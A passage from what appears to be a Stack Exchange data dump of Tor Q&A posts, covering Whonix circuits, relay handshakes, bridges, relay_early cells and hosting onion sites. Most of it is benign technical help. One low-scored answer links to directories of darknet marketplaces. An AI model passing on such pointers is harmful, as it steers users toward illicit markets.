indicated by the log message that might be the reason for not receiving traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using different users for different processes increases security. You do not want to run either process as root, but you also don't want someone who gets access to arm to have access to other processes. I am not aware of another reason for this.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-08-12T21:52:45.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3828" PostTypeId="1" AcceptedAnswerId="3829" CreationDate="2014-08-12T23:50:43.307" Score="3" ViewCount="598" Body="&lt;p&gt;Using &lt;a href=&quot;https://www.whonix.org/wiki/Multiple_Whonix-Workstations&quot; rel=&quot;nofollow noreferrer&quot;&gt;multiple Whonix-Workstations&lt;/a&gt;, when I change my Tor circuit in Whonix-Workstation 1 (using &lt;a href=&quot;https://tor.stackexchange.com/a/3817/80&quot;&gt;this&lt;/a&gt; method for example), will my Tor circuit in Whonix-Workstation 2 be changed as well?&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-08-12T23:58:07.217" Title="If I change my circuit in one workstation, will it be changed in another workstation as well?" Tags="|whonix|stream-isolation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3829" PostTypeId="2" ParentId="3828" CreationDate="2014-08-12T23:58:07.217" Score="1" Body="&lt;p&gt;There is little Whonix specificness here. It's similar to using many torified applications on the host, then changing circuit (using Tor Browser's New Identity feature or &lt;code&gt;arm&lt;/code&gt;) and asking &amp;quot;are circuits changed in all applications or only in Tor Browser?&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Tor has no concept of &amp;quot;workstations&amp;quot; (neutral statement). At best it knowns that it's getting connections from separate client IPs (neutral statement).&lt;/p&gt;&#xA;&lt;p&gt;Tor's &lt;code&gt;IsolateClientAddr&lt;/code&gt; default stream isolation applies so or so. From &lt;a href=&quot;https://www.torproject.org/docs/tor-manual-dev.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor manual&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;IsolateClientAddr&lt;/p&gt;&#xA;&lt;p&gt;Don’t share circuits with streams from a different client address. (On by default and strongly recommended; you can disable it with NoIsolateClientAddr.)&#xA;Established connections keep their circuit. New connections will use fresh circuits.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So the answer is a bit more complex.&lt;/p&gt;&#xA;&lt;p&gt;Circuits of long running connections (such as a long download or long IRC session) will not change their circuit - no matter from which workstation their are originating.&lt;/p&gt;&#xA;&lt;p&gt;New connections however will use fresh circuits - no matter from which workstation their are originating.&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2014-08-12T23:58:07.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3830" PostTypeId="1" AcceptedAnswerId="3836" CreationDate="2014-08-13T07:10:26.103" Score="1" ViewCount="157" Body="&lt;p&gt;I am very curious to know about Working of Tor. Please tell me how Tor works ? I am using Tor Browser Bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know that is there any other Service/ Software similar to Tor ?&lt;/p&gt;&#xA;" OwnerUserId="2931" LastEditorUserId="2931" LastEditDate="2014-08-14T08:46:13.270" LastActivityDate="2014-08-14T13:09:27.700" Title="Curious to know How Tor works?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ClosedDate="2014-08-15T21:38:51.570" ContentLicense="CC BY-SA 3.0" />
  <row Id="3832" PostTypeId="2" ParentId="3830" CreationDate="2014-08-13T07:43:31.093" Score="1" Body="&lt;p&gt;Refer to following to know about working of Tor:&lt;br&gt;&#xA;&lt;a href=&quot;https://www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/about/overview.html.en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1384" LastActivityDate="2014-08-13T07:43:31.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3833" PostTypeId="2" ParentId="3213" CreationDate="2014-08-13T08:36:13.980" Score="4" Body="&lt;p&gt;Yes, that's correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two types of circuit handshakes -- the original, called the Tor Authentication Protocol in Ian's paper about it:&#xA;&lt;a href=&quot;http://freehaven.net/anonbib/#tap:pet2006&quot;&gt;http://freehaven.net/anonbib/#tap:pet2006&lt;/a&gt;&#xA;and then the better one, called NTor:&#xA;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/proposals/216-ntor-handshake.txt&quot;&gt;https://gitweb.torproject.org/torspec.git/blob/HEAD:/proposals/216-ntor-handshake.txt&lt;/a&gt;&#xA;&lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/refs/tags/tor-0.2.4.17-rc:/ChangeLog#l769&quot;&gt;https://gitweb.torproject.org/tor.git/blob/refs/tags/tor-0.2.4.17-rc:/ChangeLog#l769&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read about the switch to NTor, and the reason we added the log message you're asking about, in this blog post:&#xA;&lt;a href=&quot;https://blog.torproject.org/blog/how-to-handle-millions-new-tor-clients&quot;&gt;https://blog.torproject.org/blog/how-to-handle-millions-new-tor-clients&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, the fractions x/y mean that y requests of that circuit handshake type came in, and your relay completed x of them. The rest were refused because your CPU couldn't keep up (by refused I mean that your relay sent back a destroy cell, to tell the client that it isn't going to happen).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On high-bandwidth relays these days, I wouldn't be surprised to learn that many of the TAP handshake requests are still refused. Many of the bots have been cleaned up, but many of them still remain too.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-08-13T08:36:13.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3834" PostTypeId="2" ParentId="3775" CreationDate="2014-08-13T17:22:45.520" Score="2" Body="&lt;p&gt;If you are using Raspbian/Debian, you may want to investigate the &lt;a href=&quot;https://packages.debian.org/sid/cron-apt&quot; rel=&quot;nofollow&quot;&gt;cron-apt package&lt;/a&gt;, instead of making a custom &lt;code&gt;cron&lt;/code&gt; job for updates.&lt;/p&gt;&#xA;" OwnerUserId="3399" LastEditorUserId="587" LastEditDate="2014-08-13T18:22:09.380" LastActivityDate="2014-08-13T18:22:09.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3835" PostTypeId="2" ParentId="3339" CreationDate="2014-08-13T17:59:50.763" Score="4" Body="&lt;p&gt;The &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/tor-spec.txt#l1022&quot; rel=&quot;nofollow&quot;&gt;Tor spec&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;5.3. Creating circuits&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;When creating a circuit through the network, the circuit creator&#xA;     (OP) performs the following steps:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;Choose an onion router as an exit node (R_N), such that the onion&#xA;       router's exit policy includes at least one pending stream that&#xA;       needs a circuit (if there are any).&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Choose a chain of (N-1) onion routers&#xA;       (R_1...R_N-1) to constitute the path, such that no router&#xA;       appears in the path twice.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(2) seems to rule out the exit node and the guard node being the same, although strictly speaking the phrasing is somewhat ambiguous.&lt;/p&gt;&#xA;" OwnerUserId="3399" LastActivityDate="2014-08-13T17:59:50.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3836" PostTypeId="2" ParentId="3830" CreationDate="2014-08-13T21:41:23.907" Score="1" Body="&lt;p&gt;So in laymen's terms this is how Tor works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of a shopping mall that has multiple entrances and multiple exits.  You choose a random entrance, and then walk a long random path through the mall mixing with people, where your arrive at an exit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an analogy for how Tor works.  Your computer accesses and entrance node (the mall entrance).  Then go through middle link where the entrance node's identity is mixed (walking around the mall and mixing with the people).  Finally your data exits and reaches its destination (exiting the mall).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hidden services kinda work like this.  So lets say you want to meet this shady dude.  He and you talk, and set a rendezvous point inside the mall to meet at.  You both enter the mall, and mix your traffic for a while, until you meet at the point and start talking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this makes sense!&lt;/p&gt;&#xA;" OwnerUserId="3388" LastEditorUserId="923" LastEditDate="2014-08-14T13:09:27.700" LastActivityDate="2014-08-14T13:09:27.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3837" PostTypeId="2" ParentId="3812" CreationDate="2014-08-13T21:44:53.343" Score="1" Body="&lt;p&gt;To do this, just go to any download speed website, and check out your upload and download times.  Keep in mind when you do this, that your speed will be lower than your normal speed.  For example, I have a 11 up and 30 down, but with Tor I have 9 up and 20 down.&lt;/p&gt;&#xA;" OwnerUserId="3388" LastEditorUserId="923" LastEditDate="2014-08-14T13:21:48.823" LastActivityDate="2014-08-14T13:21:48.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3838" PostTypeId="2" ParentId="3820" CreationDate="2014-08-13T22:37:00.183" Score="0" Body="&lt;p&gt;No.  All they can see are outgoing requests to the Tor network.  These can be blocked though, so be warned.  Use multiple no-log VPN's that change every few hours for the best result.&lt;/p&gt;&#xA;" OwnerUserId="3388" LastEditorUserId="923" LastEditDate="2014-08-14T13:15:11.757" LastActivityDate="2014-08-14T13:15:11.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3839" PostTypeId="2" ParentId="3812" CreationDate="2014-08-14T00:25:35.490" Score="1" Body="&lt;p&gt;As Aurora says, just test using speed-test sites. &lt;a href=&quot;http://speedof.me/&quot; rel=&quot;nofollow&quot;&gt;SpeedOf.me&lt;/a&gt; is good because it uses HTML5 rather than Javascript. Test several times, stopping and starting the Tor browser between tests, in order to use different circuits. In that way, you can distinguish ISP bandwidth limitation from circuit to circuit variation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be possible to overcome bandwidth limitations by using obfuscated bridges. If you haven't used obfuscated bridges before, it's probably best to start with a fresh Tor browser folder. Start Tor browser, and click the &quot;Configure&quot; button for bridge etc. settings. Answer &quot;No&quot; about needing proxy and firewall, and &quot;Yes&quot; about ISP censorship. Check the &quot;My ... ISP blocks connections ...&quot; box, select obfs3 transport type, and then hit OK. If Tor won't connect, make sure that you have a working Python install, and try again.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-08-14T08:16:38.883" LastActivityDate="2014-08-14T08:16:38.883" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3840" PostTypeId="1" AcceptedAnswerId="3841" CreationDate="2014-08-14T02:02:16.827" Score="2" ViewCount="265" Body="&lt;p&gt;I'm sure there are mechanisms in place to prevent this, but what stops someone from making a circuit that is extremely long or cyclic, as to cause a DOS in the network?  If possible, this would allow an advisory to amplify their bandwidth significantly and cause a DOS.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-08-16T23:25:52.050" Title="What prevents an arbitrarily long or cyclic cell relay in the network?" Tags="|dos|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3841" PostTypeId="2" ParentId="3840" CreationDate="2014-08-14T02:33:29.697" Score="0" Body="&lt;p&gt;As covered in &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/proposals/110-avoid-infinite-circuits.txt&quot; rel=&quot;nofollow&quot;&gt;Proposal 110: Avoiding infinite length circuits&lt;/a&gt; that was implemented in July 2008, Tor hinders the creation of arbitrarily long circuits through the use of relay_early cells. Only relay_early cells may contain requests to extend circuits, and no more than eight relay_early cells may be sent over a given circuit. Intermediate relays pass on the same type of cell (relay or relay_early) that they receive, as long as those cells are legitimate. But they tear down circuits when they receive a normal relay cell that contains an extend request, or when they receive more than eight relay_early cells.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While adversaries can still create arbitrarily long circuits, using relay_early cells increases the cost of doing so. They would need to specify a malicious relay at every eighth hop. Given that, adversaries might as well just use each of those malicious relays to create an eight-hop circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as discussed in &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/1038&quot; rel=&quot;nofollow&quot;&gt;Ticket 1038&lt;/a&gt;, using relay_early cells introduced a problem with accessing hidden services. Hidden services were receiving relay_early cells, and then tearing down circuits. To prevent that, an exception was created, which allowed hidden services (and clients) to receive inbound relay_early cells without tearing down circuits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As discussed in &lt;a href=&quot;https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack&quot; rel=&quot;nofollow&quot;&gt;Tor security advisory: &quot;relay early&quot; traffic confirmation attack...&lt;/a&gt;, a malicious-relay attack on hidden services began in January 2014 that exploited the relay_early exception. In response, &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-announce/2014-July/000093.html&quot; rel=&quot;nofollow&quot;&gt;Tor 0.2.4.23 was released&lt;/a&gt;, which removed the relay_early exception for hidden services and clients. Both now follow the relay_early policy: they drop circuits when they receive an inbound relay_early cell, and log the errors.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-08-16T23:25:52.050" LastActivityDate="2014-08-16T23:25:52.050" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3842" PostTypeId="2" ParentId="3775" CreationDate="2014-08-14T11:48:45.897" Score="2" Body="&lt;p&gt;I've been running a Tor relay and hidden service website for over a year on a Pi. one thing I recommend is that you buy an SD card twice the size you need for the Pi image. The empty space is used for wear leveling of the flash memory.&lt;/p&gt;&#xA;" OwnerUserId="3403" LastEditorUserId="923" LastEditDate="2014-08-14T12:31:55.037" LastActivityDate="2014-08-14T12:31:55.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3843" PostTypeId="1" CreationDate="2014-08-14T13:08:16.880" Score="1" ViewCount="44" Body="&lt;p&gt;Am I allowed to distribute Tor as part of a bundle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, what licences do I have to distribute with the bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything else I'd have to consider?&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="88" LastEditDate="2015-07-03T20:24:30.373" LastActivityDate="2019-03-08T13:41:31.670" Title="What licencing is needed to distribute tor" Tags="|source-code|support|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3844" PostTypeId="2" ParentId="3843" CreationDate="2014-08-14T13:12:03.807" Score="5" Body="&lt;p&gt;You need to include Tor's license when you distribute it. You can find it &lt;a href=&quot;https://gitweb.torproject.org/tor.git?a=blob_plain;hb=HEAD;f=LICENSE&quot; rel=&quot;noreferrer&quot;&gt;here.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info, check out &lt;a href=&quot;https://www.torproject.org/docs/faq#DistributingTor&quot; rel=&quot;noreferrer&quot;&gt;Can I Distrubute Tor?&lt;/a&gt; in the Tor Project FAQ.&lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2014-08-14T13:12:03.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3845" PostTypeId="2" ParentId="3511" CreationDate="2014-08-14T15:14:35.327" Score="2" Body="&lt;p&gt;How about bitmessage?&#xA;&lt;a href=&quot;https://bitmessage.org&quot; rel=&quot;nofollow&quot;&gt;https://bitmessage.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Tor gives a bitmessage address to request bridges like how it is done in email.&#xA;Bitmessage is said to be encrypted P2P messaging protocol but it is still running in beta stage.&lt;/p&gt;&#xA;" OwnerUserId="3405" LastEditorUserId="923" LastEditDate="2014-08-15T11:04:38.670" LastActivityDate="2014-08-15T11:04:38.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3846" PostTypeId="2" ParentId="3670" CreationDate="2014-08-14T19:12:39.173" Score="1" Body="&lt;p&gt;Following metrics have been released by Tails team.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In June 2014:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tails has been started more than 331 862 times in June. This makes 11 062 boots a day in average.&#xA;25 124 downloads of the OpenPGP signature of Tails ISO from our website.&#xA;71 bug reports were received through WhisperBack.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In July 2014:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tails has been started more than 355 608 times in July. This makes 11 471 boots a day in average.&#xA;35 134 downloads of the OpenPGP signature of Tails ISO from our website.&#xA;160 bug reports were received through WhisperBack. We discovered in late July than one of our WhisperBack relay was not sending emails anymore since our fixes of the Heartbleed bug. This explains the bump in the number of bug reports.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based on the assumption that Tor has been started between 2000000 to 2500000 times per day, the ratio of Tails to Tor start in round numbers is in the range of 1% to 2%. However, each individual may start Tor or Tails several times per day, thus the number of Tor and Tails users are less than these figures. Finally, these figures do not provide an accurate estimate of Tails user to Tor users since one can not assume that Tails user have on average same behavior as Tor users. One would think that an average Tails user maybe more concerned about their anonymity than an average Tor user. By the same token, on average Tails users maybe under more surveillance than Tor users by global adversaries.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-12-30T18:28:14.460" LastActivityDate="2014-12-30T18:28:14.460" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3847" PostTypeId="1" CreationDate="2014-08-15T00:30:55.783" Score="2" ViewCount="815" Body="&lt;p&gt;I've just downloaded Tor for my Mac and the icons won't open the browser. I've tried opening it off my desktop and out of my application. I click the icon and nothing happens. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="3408" LastEditorUserId="88" LastEditDate="2015-01-27T08:32:29.173" LastActivityDate="2015-06-26T22:11:42.733" Title="Tor for OS X Icon doesn't open" Tags="|tor-browser-bundle|mac|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3849" PostTypeId="1" CreationDate="2014-08-15T14:52:17.637" Score="1" ViewCount="181" Body="&lt;p&gt;How can I run multiple instances of Tor via the Vidalia Relay Bundle for Windows?&lt;/p&gt;&#xA;" OwnerUserId="3410" LastActivityDate="2014-08-15T14:52:17.637" Title="Multiple instances of Tor in Vidalia Relay Bundle?" Tags="|windows|vidalia|configuration|" AnswerCount="0" CommentCount="0" ClosedDate="2015-08-25T06:22:14.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="3850" PostTypeId="1" AcceptedAnswerId="3886" CreationDate="2014-08-15T18:41:22.057" Score="2" ViewCount="896" Body="&lt;p&gt;In generating keys for a new hidden service, and the corresponding .onion address, does the tor client check for collision with existing .onion addresses? The process being so fast, I can't imagine how it could. Or instead, does it rely only on luck, in that the address space (2&lt;sup&gt;80&lt;/sup&gt;~10&lt;sup&gt;24&lt;/sup&gt;) is so much greater than the number of published addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how many hidden service addresses have been published? Is it on the order of 10&lt;sup&gt;7&lt;/sup&gt;? As I recall, each of those ~10&lt;sup&gt;6&lt;/sup&gt; Mevade slaves created a hidden service, and that's the largest known influx. Yes? I'm guessing that far more have been generated in seeking vanity addresses, but most have never been published.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-08-19T15:47:26.397" Title="In generating a new hidden service address, does the tor client check for collision with existing ones?" Tags="|onion-services|private-key|url|address|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3851" PostTypeId="2" ParentId="3786" CreationDate="2014-08-15T22:15:59.687" Score="-1" Body="&lt;p&gt;lucy goosey check this out darling&lt;/p&gt;&#xA;&#xA;&lt;p&gt;page down, right side shows which sites are up, good reviews or go to &lt;a href=&quot;http://dnstats.net/&quot; rel=&quot;nofollow&quot;&gt;http://dnstats.net/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.deepdotweb.com/2013/10/28/updated-llist-of-hidden-marketplaces-tor-i2p/&quot; rel=&quot;nofollow&quot;&gt;DeepDotWeb&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;motsue need more confetti&lt;/p&gt;&#xA;" OwnerUserId="3213" LastActivityDate="2014-08-15T22:15:59.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3852" PostTypeId="1" CreationDate="2014-08-15T23:41:16.380" Score="6" ViewCount="5712" Body="&lt;p&gt;Is there a way to specify a bridge while starting Tor, from command line? I'm working on a script that runs multiple instances of Tor and I find it easier to add the bridge (all the instances are going to use the same bridge) on the command that runs the instance itself, instead of editing the torrc file after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all in advance&lt;/p&gt;&#xA;" OwnerUserId="3414" LastEditorUserId="5413" LastEditDate="2015-08-22T20:52:42.783" LastActivityDate="2022-07-13T10:44:41.123" Title="Specify bridge from command line" Tags="|configuration|bridge|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3853" PostTypeId="2" ParentId="3852" CreationDate="2014-08-16T09:38:34.863" Score="1" Body="&lt;p&gt;You can write the information into some files, say &lt;code&gt;bridge.1&lt;/code&gt;, &lt;code&gt;bridge.2&lt;/code&gt; etc. Inside the file are lines with bridges like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bridge 127.0.0.1:4567 0123456789ABCDEF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Besides this bridge files you should also have a &lt;code&gt;torrc&lt;/code&gt; file all other settings. Now you can start the Tor software with a line like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor --defaults-torrc torrc -f bridge.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first option takes your default &lt;code&gt;torrc&lt;/code&gt; as argument and is always the same. The second option contains the file with bridge information. You can vary this file depending which bridges you want to use.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-04-17T06:34:54.547" LastActivityDate="2016-04-17T06:34:54.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3855" PostTypeId="1" CreationDate="2014-08-16T18:00:36.457" Score="5" ViewCount="939" Body="&lt;p&gt;I'm running a website with Nginx which I would like to be accessible by Tor and by clearnet. Currently it's only reachable by clearnet, e.g. www.example.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course people just can go to www.example.com through Tor browser, but I want to have a .onion address too for the same website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the website and content to be accessible by www.example.com/ and xyzsfexample.onion/.&#xA;So they see content from /var/www/www.example.com/web/index.php as xyzsfexample.onion/index.php ; IF they browse on xyzsfexample.onion ; IF they browse on example.com they should see example.com/index.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I set this up and how must Nginx be configured to do both? &lt;/p&gt;&#xA;" OwnerUserId="3418" LastActivityDate="2021-09-18T10:54:42.080" Title="How to make my websites content available as Tor .onion and clearnet .com" Tags="|configuration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3856" PostTypeId="1" CreationDate="2014-08-16T18:34:04.663" Score="2" ViewCount="753" Body="&lt;p&gt;If I'm running Tor and a hidden .onion site on my server, which IPs will connect to it? Will it be just 127.0.0.1 or one of the thousands of daily changing exit nodes?&#xA;Will they connect over a specific port (8080?) or any other kind of behaviour?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to block all traffic with iptables except a few IPs + Tor Traffic.&#xA;If all Tor traffic comes over 127.0.0.1 or port 8080 I could just white list/allow 127.0.0.1 or port 8080 right? And then block everything else.&lt;/p&gt;&#xA;" OwnerUserId="3418" LastEditorUserId="923" LastEditDate="2014-08-18T08:08:14.807" LastActivityDate="2014-08-18T11:14:38.213" Title="What IPs will connect to my server running a hidden .onion site?" Tags="|iptables|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3859" PostTypeId="2" ParentId="3856" CreationDate="2014-08-16T21:28:32.970" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Will it be just 127.0.0.1 or one of the thousands of daily changing exit nodes?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are no exit nodes when you connect to a hidden service; you are inside the Tor network, so everyone will have 127.0.0.1 as their IP. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Will they connect over a specific port (8080?) or any other kind of behaviour?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I believe you can configure your hidden service to use the ports you want -you can even choose multiple ports. For more info look &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2014-08-16T21:28:32.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3860" PostTypeId="1" AcceptedAnswerId="3862" CreationDate="2014-08-17T06:01:39.450" Score="2" ViewCount="931" Body="&lt;p&gt;I am using Tor browser to browse, and download things. My question is: If I visit a website using Tor browser, then who knows, or who can know, that I am using Tor browser? And what will he get? That is, will he know what websites I browsed using Tor, or only the information that I am using Tor?&lt;/p&gt;&#xA;" OwnerUserId="2931" LastEditorUserId="100" LastEditDate="2014-08-17T08:26:57.217" LastActivityDate="2014-08-18T10:53:55.627" Title="Who can know that I am using Tor for browsing?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3861" PostTypeId="1" CreationDate="2014-08-17T07:20:16.377" Score="2" ViewCount="2929" Body="&lt;p&gt;I would like to know how can I run Tails in my windows 8 UEFI.&#xA;I have a Tails usb that works in my windows 7 (64), but when I put my usb in win 8, my computer does not start on usb, my screen switch on/off already.&#xA;Do you have an answers for me?&lt;/p&gt;&#xA;" OwnerUserId="3420" LastEditorUserId="923" LastEditDate="2014-08-18T07:56:24.523" LastActivityDate="2021-10-04T19:35:05.090" Title="Tails in my Windows 8 UEFI" Tags="|windows|tails|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3862" PostTypeId="2" ParentId="3860" CreationDate="2014-08-17T08:44:04.670" Score="2" Body="&lt;p&gt;Your ISP knows that you are using Tor. But it doesn't know specifically that you are using the Tor browser, except of course if you just downloaded it. Also, your ISP may share that information with other potential adversaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, your ISP does not know what websites you visit using the Tor browser. Neither do the first two relays in circuits that your Tor client creates to reach them (entry guards and middle relays).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor exit relay in each of those circuits does (of course) know what websites you visit through it. However, it doesn't know who you are, unless you reveal that information in the process. Given that, it's important to always use end-to-end encryption, HTTPS for websites and TLS for email clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Websites that you visit know that you're using Tor, because there is a public list of relays (excluding only bridges). However, websites don't know who you are, unless you reveal that information to them.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-08-17T08:44:04.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3863" PostTypeId="2" ParentId="3850" CreationDate="2014-08-17T10:46:33.770" Score="1" Body="&lt;p&gt;If you happen to get the same onion, then you may have the same private key, which essentially means you get to &quot;take over&quot; that address, because any clients connecting to the previous onion URL may get redirected to your server instead. In practice, this will never, ever, ever happen accidentally. It takes many billions of intentional tries on powerful computers to even get half of the address correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, the bots did not create their own hidden services. They connected to an existing one. Hidden services don't scale well, and if they all tried making their own, I believe it would cripple the network (or at least hidden services).&lt;/p&gt;&#xA;" OwnerUserId="3421" LastActivityDate="2014-08-17T10:46:33.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3864" PostTypeId="2" ParentId="3856" CreationDate="2014-08-17T10:55:34.507" Score="1" Body="&lt;p&gt;You can use netstat to see exactly what IPs are connecting directly. The 127.0.0.1 in your logs is what's seen by &lt;em&gt;applications&lt;/em&gt;, rather than the server itself. The server will see your entry guards, though if you set Tor to log very verbosely, you might be able to see the other 3 nodes, up to the rendezvous node. Everything past that (the other 3 nodes) is only known by the client connecting to you (and likewise, the client can only see up to the rendezvous node, not past it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for only allowing Tor connections, you can use UFW (Uncomplicated FireWall), an easy to use frontend to iptables. I run an onion site and a Tor middle node on the same server (yeah, I know that's not good for anonymity, but the onion site isn't meant to have it's real IP hidden). I have UFW set to allow ports 9030 and 9001. I'm not sure what it'd be for a hidden service only. Possibly the same.&lt;/p&gt;&#xA;" 